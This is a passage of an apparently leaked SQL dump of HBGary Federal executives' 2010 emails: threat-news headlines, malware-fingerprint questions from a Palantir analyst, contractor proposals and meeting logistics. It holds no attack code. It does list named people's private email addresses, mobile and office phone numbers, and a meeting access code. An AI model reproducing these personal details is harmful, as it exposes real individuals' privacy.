<penny@hbgary.com>','/aaron@hbgary.com/new/1297008778.M157480P14101Q6519.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','FW: NMCIWG: Daily Computer Threat News (Fri)','\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Saturday, September 11, 2010 1:47 PM\r\nSubject: FW: NMCIWG: Daily Computer Threat News (Fri)\r\n\r\n \r\n\r\n\r\n \r\n\r\nToday\'s articles:\r\n\r\n- Adobe Reader 0day under active attack\r\n\r\n- Multiple vulnerabilities in Cisco Wireless LAN Controllers\r\n\r\n- Report: RBS WorldPay hacker gets four years\' probation\r\n\r\n- After Google incident, Wi-Fi data collection goes on\r\n\r\n- New fake facebook spam waves sent through cutwail/pushdo botnet\r\n\r\n- Android SMS Trojan delivered via SEO techniques\r\n\r\n- Mass injections and malware infections at Media Temple\r\n\r\n- New email worm on the move \r\n\r\n- Microsoft to close 11 vulnerabilities next Patch Tuesday \r\n\r\n- DLL hole now affects EXE files \r\n\r\n- \'Here you Have\' Virus Tries to Delete Your Security Software\r\n\r\n \r\n\r\n',12363,'aaron_hbgary_com/12363.html'),(11665,'2010-09-12','\"Twitter\" <twitter-follow-federal=hbgary.com@postmaster.twitter.com>','/aaron@hbgary.com/new/1297008784.M547508P14101Q6520.eml','federal@hbgary.com','paul_nickelson is now following you on Twitter!','\r\n\r\n  \r\n    \r\n      \r\n      \r\n      \r\n      \r\n        \r\n      \r\n      \r\n        \r\n  paul_nickelson (@paul_nickelson) is now following your tweets (@HBGaryFed) on Twitter.\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n    \r\n    \r\n      paul_nickelson\r\n      @paul_nickelson\r\n      \r\n    \r\n  \r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n        0\r\n        311\r\n        27\r\n\r\n    \r\n    \r\n      tweets\r\n      following\r\n      followers\r\n\r\n    \r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n  You do not follow paul_nickelson.\r\n\r\nWhat\'s Next?\r\n\r\n  \r\n    &bull;\r\n    Find out more about paul_nickelson on @paul_nickelson\'s profile page.\r\n  \r\n    &bull;\r\n    Send paul_nickelson an @ reply.\r\n  \r\n    &bull;\r\n    Send paul_nickelson a direct message.\r\n  \r\n    \r\n    On your mobile? Learn Twitter for Mobile.\r\n  \r\n  \r\n\r\n  If you believe paul_nickelson is engaging in abusive behavior on Twitter, you may report paul_nickelson for spam.\r\n\r\n\r\n  \r\n\r\n\r\n\r\n\r\n  \r\n  If you\'d rather not receive follow notification emails from Twitter, you can unsubscribe immediately. To resubscribe or change other Twitter email preferences, visit your account settings to manage email notices.\r\n\r\n\r\n\r\n  Please do not reply to this message; it was sent from an unmonitored email address.  This message is a service email related to your use of Twitter.  For general inquiries or to request support with your Twitter account, please visit us at Twitter Support.\r\n\r\n\r\n\r\n\r\n      \r\n    \r\n  \r\n\r\n\r\n',1783,'aaron_hbgary_com/1783.html'),(11666,'2010-09-12','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297008784.M793078P14101Q6521.eml','\"Ted Vera\" <ted@hbgary.com>,aaron@hbgary.com,mark@hbgary.com','RE: GoToMeeting Invitation - TMC Discussions','Ted,\r\n\r\nThis looks great -- we\'ve got PE timestamp data, and a number of interesting fields to work with.\r\n\r\nWhile I start tinkering, some questions for you about the fingerprints: Are the individual fields documented somewhere? \r\n\r\nFor example, the \"Debugger Timing Field\" can have several values: \"Ticks\", \"PerformanceCounter\", \r\n\"PerformanceCounter | Ticks\" and \"Ticks | PerformanceCounter\". Is the ordering of the latter two significant? \r\n\r\nAnd are there well-known, higher-level conclusions to be drawn from these fingerprints that we can make good use of? E.g. somewhere I can look to identify which characteristics are indicative of a ZBot derivative?\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com | 202-684-8066\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Friday, September 10, 2010 5:58 PM\r\nTo: Aaron Zollman; aaron@hbgary.com; mark@hbgary.com\r\nSubject: Re: GoToMeeting Invitation - TMC Discussions\r\n\r\nHere are the output files (attached).\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\nOn Wed, Sep 8, 2010 at 11:59 AM, Ted Vera  wrote:\r\n> 1.  Please join my meeting, Wednesday, September 08 at 12:15 PM MDT.\r\n> https://www1.gotomeeting.com/join/397597081\r\n>\r\n> 2.  Use your microphone and speakers (VoIP) - a headset is \r\n> recommended. Or, call in using your telephone.\r\n>\r\n> Dial 914-339-0016\r\n> Access Code: 397-597-081\r\n> Audio PIN: Shown after joining the meeting\r\n>\r\n> Meeting ID: 397-597-081\r\n>\r\n> GoToMeeting®\r\n> Online Meetings Made EasyT\r\n>\r\n\r\n\r\n\r\n--\r\nTed Vera  |  President  |  HBGary Federal Office 916-459-4727x118  | Mobile 719-237-8623 www.hbgary.com  |  ted@hbgary.com\r\n',1907,'aaron_hbgary_com/1907.html'),(11667,'2010-09-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008785.M386564P14101Q6522.eml','\"Aaron Barr\" <adbarr@mac.com>','','',13272,'aaron_hbgary_com/13272.html'),(11668,'2010-09-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008786.M43999P14101Q6523.eml','\"Aaron Barr\" <adbarr@mac.com>','','',14506,'aaron_hbgary_com/14506.html'),(11669,'2010-09-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008786.M613573P14101Q6524.eml','\"Aaron Barr\" <adbarr@mac.com>','','',12191,'aaron_hbgary_com/12191.html'),(11670,'2010-09-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008787.M205190P14101Q6525.eml','\"Aaron Barr\" <adbarr@mac.com>','','',14831,'aaron_hbgary_com/14831.html'),(11671,'2010-09-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008788.M36473P14101Q6526.eml','\"Aaron Barr\" <adbarr@mac.com>','','',16730,'aaron_hbgary_com/16730.html'),(11672,'2010-09-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008788.M621243P14101Q6527.eml','\"Aaron Barr\" <adbarr@mac.com>','','',14152,'aaron_hbgary_com/14152.html'),(11673,'2010-09-13','\"Frisbie, Robert P\" <Robert.Frisbie@ManTech.com>','/aaron@hbgary.com/new/1297008788.M846462P14101Q6528.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Update','Thanks for the update.  Our IRAD investment planning seems to be on\r\ntrack.  \r\n\r\nIf we had 100K to spend this year would you be able to execute on it?\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, September 10, 2010 11:35 PM\r\nTo: Frisbie, Robert P\r\nSubject: Update\r\n\r\nBob,\r\n\r\nI had a very good meeting with Dr. Porter, Director of IARPA today.\r\nAfter our conversation she asked me to submit a proposal for their open\r\nBAA under collection.  I am going to start the write-up.  Those awards\r\nare typically about 200K to start.  It would allow me to build a\r\nsignificant part of what we discussed.\r\n\r\nAaron\r\n',7947,'aaron_hbgary_com/7947.html'),(11674,'2010-09-13','arc@westfields.net','/aaron@hbgary.com/new/1297008789.M274004P14101Q6530.eml','federal@hbgary.com','ARC Daily Activity Summary','\r\nThis is a daily email notice containing a summary of the active efforts that have had some activity since Friday, 09/10/2010 08:00 AM. Activity is described as one or more documents and/or an announcement being posted to the effort website.\r\n\r\n\r\nNo Activity on Unclassified ARC Efforts Within Defined Timeframe\r\n\r\n\r\n\r\nCWAN ARC Efforts\r\n\r\nNGA-RDAS (Announcement & Document Posting)\r\n\r\nNRO/SE-Graystone (Announcement & Document Posting)\r\n\r\n\r\n\r\nUnclassified efforts can be viewed on the Internet ARC at https://arc.westfields.net/ Classified efforts can be viewed on the CWAN ARC at http://arc.npa.gov/\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',16894,'aaron_hbgary_com/16894.html'),(11675,'2010-09-13','\"White, Scott (CO)\" <Scott.D.White@ngc.com>','/aaron@hbgary.com/new/1297008789.M467379P14101Q6531.eml','\"Aaron Barr\" <aaron@hbgary.com>','Canceled: Lunch:  Aaron Barr/Tom Conroy/Dan Conroy','\r\n\r\n\r\n\r\n\r\nCanceled: Lunch:  Aaron Barr/Tom Conroy/Dan Conroy\r\n\r\n\r\n\r\n\r\nWhen: Friday, October 08, 2010 11:30 AM-1:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: LX cafeteria.&nbsp; \r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n',10592,'aaron_hbgary_com/10592.html'),(11676,'2010-09-13','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297008789.M674242P14101Q6532.eml','\"Aaron Barr\" <aaron@hbgary.com>','Lunch: Aaron Barr/Tom Conroy/Dan Conroy','\r\n\r\n\r\n\r\n\r\nLunch: Aaron Barr/Tom Conroy/Dan Conroy\r\n\r\n\r\n\r\n\r\nWhen: Friday, October 08, 2010 11:30 AM-1:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: LX Cafeteria\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n',8263,'aaron_hbgary_com/8263.html'),(11677,'2010-09-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008789.M71871P14101Q6529.eml','\"Frisbie, Robert P\" <Robert.Frisbie@mantech.com>','Re: Update','Yes would.\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 13, 2010, at 5:24 AM, \"Frisbie, Robert P\"\r\n wrote:\r\n\r\n> Thanks for the update.  Our IRAD investment planning seems to be on\r\n> track.\r\n>\r\n> If we had 100K to spend this year would you be able to execute on it?\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Friday, September 10, 2010 11:35 PM\r\n> To: Frisbie, Robert P\r\n> Subject: Update\r\n>\r\n> Bob,\r\n>\r\n> I had a very good meeting with Dr. Porter, Director of IARPA today.\r\n> After our conversation she asked me to submit a proposal for their open\r\n> BAA under collection.  I am going to start the write-up.  Those awards\r\n> are typically about 200K to start.  It would allow me to build a\r\n> significant part of what we discussed.\r\n>\r\n> Aaron\r\n',10940,'aaron_hbgary_com/10940.html'),(11678,'2010-09-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008789.M899521P14101Q6533.eml','\"Barr Aaron\" <aaron@hbgary.com>','Re: DigitalGlobe Outline for Presentation','I just checked the agenda (attached).  I\'m not going to come up.  You\r\nand Greg can handle it.  I\'m wiped from last night and need to get\r\nsome things out for Gatorbait and can get Mark and I spun up on the\r\nincident response engagement this morning in support of Phil.\r\n\r\nPlease tell Greg sorry I couldn\'t make it -- the creepy electrician\r\nhad us stressed out last night...\r\n\r\nTed\r\n\r\nOn Thu, Sep 9, 2010 at 6:55 PM, Maria Lucas  wrote:\r\n> Greg\r\n>\r\n> On Monday you will be presenting at Digital Globe -- the agenda is attached\r\n> and approved by DigitalGlobe.\r\n>\r\n> Aaron and Ted will both be attending.  Aaron is there to present Social\r\n> Engineering Training and Ted is there to assist with the Active Defense\r\n> software sale and will help to provide installation, deployment and training\r\n> post-sale.\r\n>\r\n> I am available to review the agenda anytime.  I will be reviewing the agenda\r\n> with Ted and he said that he will be there to keep you on track and be\r\n> responsible to make sure that we cover all the topics important to closing\r\n> the deal.\r\n>\r\n> I would attend the meeting normally but I believe you are in excellent\r\n> company already.\r\n>\r\n> Let me know when you would like to do this?\r\n>\r\n> Maria\r\n>\r\n>\r\n>\r\n>\r\n> --\r\n> Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n>\r\n> Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n> email: maria@hbgary.com\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',152,'aaron_hbgary_com/152.html'),(11679,'2010-09-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008790.M118508P14101Q6534.eml','\"Ted Vera\" <ted@hbgary.com>','Re: DigitalGlobe Outline for Presentation','You Bet.\r\n\r\nOn Sep 13, 2010, at 8:37 AM, Ted Vera wrote:\r\n\r\n> I just checked the agenda (attached).  I\'m not going to come up.  You\r\n> and Greg can handle it.  I\'m wiped from last night and need to get\r\n> some things out for Gatorbait and can get Mark and I spun up on the\r\n> incident response engagement this morning in support of Phil.\r\n> \r\n> Please tell Greg sorry I couldn\'t make it -- the creepy electrician\r\n> had us stressed out last night...\r\n> \r\n> Ted\r\n> \r\n> On Thu, Sep 9, 2010 at 6:55 PM, Maria Lucas  wrote:\r\n>> Greg\r\n>> \r\n>> On Monday you will be presenting at Digital Globe -- the agenda is attached\r\n>> and approved by DigitalGlobe.\r\n>> \r\n>> Aaron and Ted will both be attending.  Aaron is there to present Social\r\n>> Engineering Training and Ted is there to assist with the Active Defense\r\n>> software sale and will help to provide installation, deployment and training\r\n>> post-sale.\r\n>> \r\n>> I am available to review the agenda anytime.  I will be reviewing the agenda\r\n>> with Ted and he said that he will be there to keep you on track and be\r\n>> responsible to make sure that we cover all the topics important to closing\r\n>> the deal.\r\n>> \r\n>> I would attend the meeting normally but I believe you are in excellent\r\n>> company already.\r\n>> \r\n>> Let me know when you would like to do this?\r\n>> \r\n>> Maria\r\n>> \r\n>> \r\n>> \r\n>> \r\n>> --\r\n>> Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n>> \r\n>> Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n>> email: maria@hbgary.com\r\n>> \r\n>> \r\n>> \r\n>> \r\n> \r\n> \r\n> \r\n> -- \r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n\r\n',8514,'aaron_hbgary_com/8514.html'),(11680,'2010-09-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008790.M354212P14101Q6535.eml','edward.j.baranoski@ugov.gov','Technical Discussions','Ed,\r\n\r\nVery nice to meet you on Friday.  Please pass on my thanks to Dr. Porter as well.\r\n\r\nI was sufficiently excited by our discussions and the areas we are working on in comparison to your organization, and specifically your program goals.  I will likely submit a different ideas against the BAA, but I am going to start with the attribution concept we discussed.  I will start on that immediately.  Let me know if there are any specific areas you would like to discuss further.\r\n\r\nGeneral Areas we are working on:\r\nAttribution (Threat Intelligence)\r\nContinuous Incident Response\r\nCreative CNO Capabilities\r\nSocial Media Exploitation and Protection\r\nGame Development (MMO/VW)',16228,'aaron_hbgary_com/16228.html'),(11681,'2010-09-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008790.M647759P14101Q6536.eml','\"Daniel Collender\" <dcollend@digitalglobe.com>','Lunch Presentation','Is this just a table top discussion with printouts or are we projecting?  Was the data ok?\r\n\r\nAaron\r\n\r\n',6472,'aaron_hbgary_com/6472.html'),(11682,'2010-09-13','\"Matt Harmon\" <matt.harmon@carahsoft.com>','/aaron@hbgary.com/new/1297008790.M902942P14101Q6537.eml','\"Aaron Barr\" <aaron@hbgary.com>','Last Chance: Mobile Optimization for the Web','\r\n  \r\nTo view an online version of this email, click here.\r\n\r\n\r\n\r\nbody {\r\nbackground-color: #808080;\r\ncolor: #000;\r\nfont-size:12px; \r\nfont-family: Arial, Helvetica, sans-serif;\r\n}\r\n.tbody {\r\nbackground-color: #fff;\r\ncolor: #000;\r\nfont-size:12px; \r\nfont-family: Arial, Helvetica, sans-serif;\r\n}\r\nh1 \r\n{\r\nfont-family: Arial, Helvetica, sans-serif;\r\nfont-size: 24px;\r\nfont-style: normal;\r\nline-height: normal;\r\nfont-weight: normal;\r\nfont-variant: normal;\r\ntext-transform: uppercase;\r\ncolor: #000;\r\npadding: 0px;\r\n}\r\np, td { font-size:12px; }\r\ntd.content { padding-right: 25px; }\r\na:hover { text-decoration: underline; color: #000; }\r\na:link { text-decoration: underline; color: #000; }\r\na:visited { text-decoration: underline; color: #000; }\r\n.footer {\r\nbackground-color:#58595B;\r\npadding:5px;\r\nfont-family: Arial, Helvetica, sans-serif;\r\nfont-size: 10px;\r\nfont-style: normal;\r\nline-height: normal;\r\nfont-weight: normal;\r\nfont-variant: normal;\r\ntext-transform: none;\r\ncolor: #FFFFFF;\r\ntext-align: center;\r\nvertical-align: middle;\r\n}\r\nbody { background-color:#808080 !important; }\r\n\r\n&nbsp;\r\n\r\n\r\n	\r\n		\r\n			\r\n		\r\n		\r\n			\r\n			\r\n				\r\n					\r\n						\r\n						\r\n							\r\n								\r\n									\r\n									\r\n									Optimizing Website Content: Is Your Agency Mobile Ready? \r\n									\r\n									\r\n									Internet browsing Smartphones are now a ubiquitous tool, combining the power of the computer with the mobility of a phone. The average mobile user is looking to find a limited amount of information quickly. Convenience and speed, rather than breadth of content, define the mobile experience. \r\n									\r\n									\r\n									Akamai Mobile Optimization provides customers with&nbsp;a transparent and highly scalable solution for optimizing existing PC websites. This solution combines Akamai&rsquo;s global EdgePlatform with the Akamai Content Adaptation Engine to automatically optimize the mobile user&rsquo;s experience instantaneously without having to develop, build-out, and support separate web infrastructures for mobile devices. \r\n									\r\n									\r\n									This is your last chance to join us for this complimentary webcast to learn how Akamai Mobile Optimization can: \r\n									\r\n									\r\n										Support current government mobile initiatives\r\n										Adapt mobile sites to normal content changes at the customer data center\r\n										Enable the mobile web to resemble a native mobile application\r\n										Layer mobile specific features like image zoom, AJAX, and web 2.0 pages on top of what was adapted from the PC website\r\n									\r\n									\r\n									Sign up now or contact me for future access to the archived recording. \r\n									\r\n									\r\n									Questions? Contact me.\r\n									Matt Harmon \r\n									Akamai Government at Carahsoft \r\n									703-871-8521 (Direct) \r\n									877-468-7962 (Toll-Free)\r\n									matt.harmon@carahsoft.com \r\n									www.carahsoft.com/akamai\r\n									\r\n									Click here for more information about Akamai solutions for government. \r\n									\r\n									\r\n								\r\n							\r\n						\r\n						\r\n						\r\n						\r\n						Last Chance to Register!&nbsp; \r\n						\r\n						Date: Wednesday,&nbsp;September 15, 2010\r\n						Time: 11am Eastern; 8am Pacific\r\n						Duration: 1 Hour \r\n						\r\n						\r\n						 \r\n						\r\n						\r\n						\r\n					\r\n				\r\n			\r\n			\r\n		\r\n		\r\n			&nbsp;\r\n		\r\n	\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nClick here to forward this mailing with your personal message.\r\n\r\nThis email was sent to: aaron@hbgary.com\r\nThis email was sent by: Carahsoft Technology Corp.\r\n12369 Sunrise Valley Dr. Suite D2, Reston, VA 20191\r\n\r\n\r\nClick here to leave this mailing list.\r\n\r\n\r\n\r\n  \r\n\r\n\r\n',11906,'aaron_hbgary_com/11906.html'),(11683,'2010-09-13','\"Daniel Collender\" <dcollend@digitalglobe.com>','/aaron@hbgary.com/new/1297008791.M129528P14101Q6538.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Lunch Presentation','Hi,\r\n\r\nNope, we have a good sized room with a projector.\r\n\r\nEveryone is ok with the data. I haven\'t heard from Scott Hicar but will\r\ncheck with him this morning.\r\n\r\nBest,\r\nDan\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, September 13, 2010 10:08 AM\r\nTo: Daniel Collender\r\nSubject: Lunch Presentation\r\n\r\n* PGP - S/MIME Signed: 9/13/2010 at 10:07:42 AM\r\n\r\nIs this just a table top discussion with printouts or are we projecting?\r\nWas the data ok?\r\n\r\nAaron\r\n\r\n\r\n* Aaron Barr \r\n* Issuer: \"VeriSign\r\n',1617,'aaron_hbgary_com/1617.html'),(11684,'2010-09-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008791.M327548P14101Q6539.eml','mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','Embroidery','Here\'s the link to the embroidery site.  Look through the catalog and\r\ngive me the product number / color / quant / size.  I\'ll consolidate\r\nthe orders and place it in a week or so.\r\n\r\nTed\r\n\r\n\r\nStitch America, Inc.\r\nhttp://www.embroiderysuperstore.com\r\n',10992,'aaron_hbgary_com/10992.html'),(11685,'2010-09-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008791.M736418P14101Q6540.eml','\"Barr Aaron\" <aaron@hbgary.com>','Gatorbait','Please send and return to me -- for gatorbait.\r\n\r\nTed\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',16892,'aaron_hbgary_com/16892.html'),(11686,'2010-09-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008792.M140485P14101Q6541.eml','\"Barr Aaron\" <aaron@hbgary.com>','KMP','Please fill in your information, sign and return -- for gatorbait.\r\n\r\nTed\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',8544,'aaron_hbgary_com/8544.html'),(11687,'2010-09-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008792.M662523P14101Q6542.eml','\"Ott, Stephen D\" <Stephen.Ott@mantech.com>,\"Ott, Stephen D\" <Stephen.Ott@mantech.com>','Re: Request for Proposal - Gatorbait Subcontractor Pricing','Hello Steve,\r\n\r\nAttached is our proposal in response to the below RFP.\r\n\r\nPlease don\'t hesitate to contact me if you have any questions.\r\n\r\nRegards,\r\nTed Vera\r\n\r\n\r\n\r\n\r\n\r\nOn Thu, Sep 9, 2010 at 1:57 PM, Ott, Stephen D  wrote:\r\n> Ted,\r\n>\r\n>\r\n>\r\n> Please provide your response to this Request for Proposal no later than 1200\r\n> hours, Monday 13 September 2010 for the labor categories listed on the\r\n> attached statement of work (SOW). Please use the following guidelines when\r\n> constructing your price submission:\r\n>\r\n>\r\n>\r\n> The Period of Performance for this work will be from 11 March 2011 -  10\r\n> March 2012, with four  1-Year Option periods.\r\n> Escalation is capped at 3%\r\n> Team members with DCAA approved accounting systems submit Cost Rates without\r\n> Fee\r\n> Team members without DCAA approved accounting systems submit T&M rates.  Fee\r\n> will be capped at 7%\r\n> Cost will be based on FTE Hours of 1,860\r\n>\r\n> Please note that rates submitted in response to this request will be\r\n> established for any resulting IDIQ subcontract, and used by ManTech in its\r\n> proposals for the SPURRIER Task Order and all future task orders. If you\r\n> have any questions, please do not hesitate to contact me.\r\n>\r\n>\r\n>\r\n> Thanks,\r\n>\r\n> Steve\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Stephen Ott\r\n>\r\n> Principal 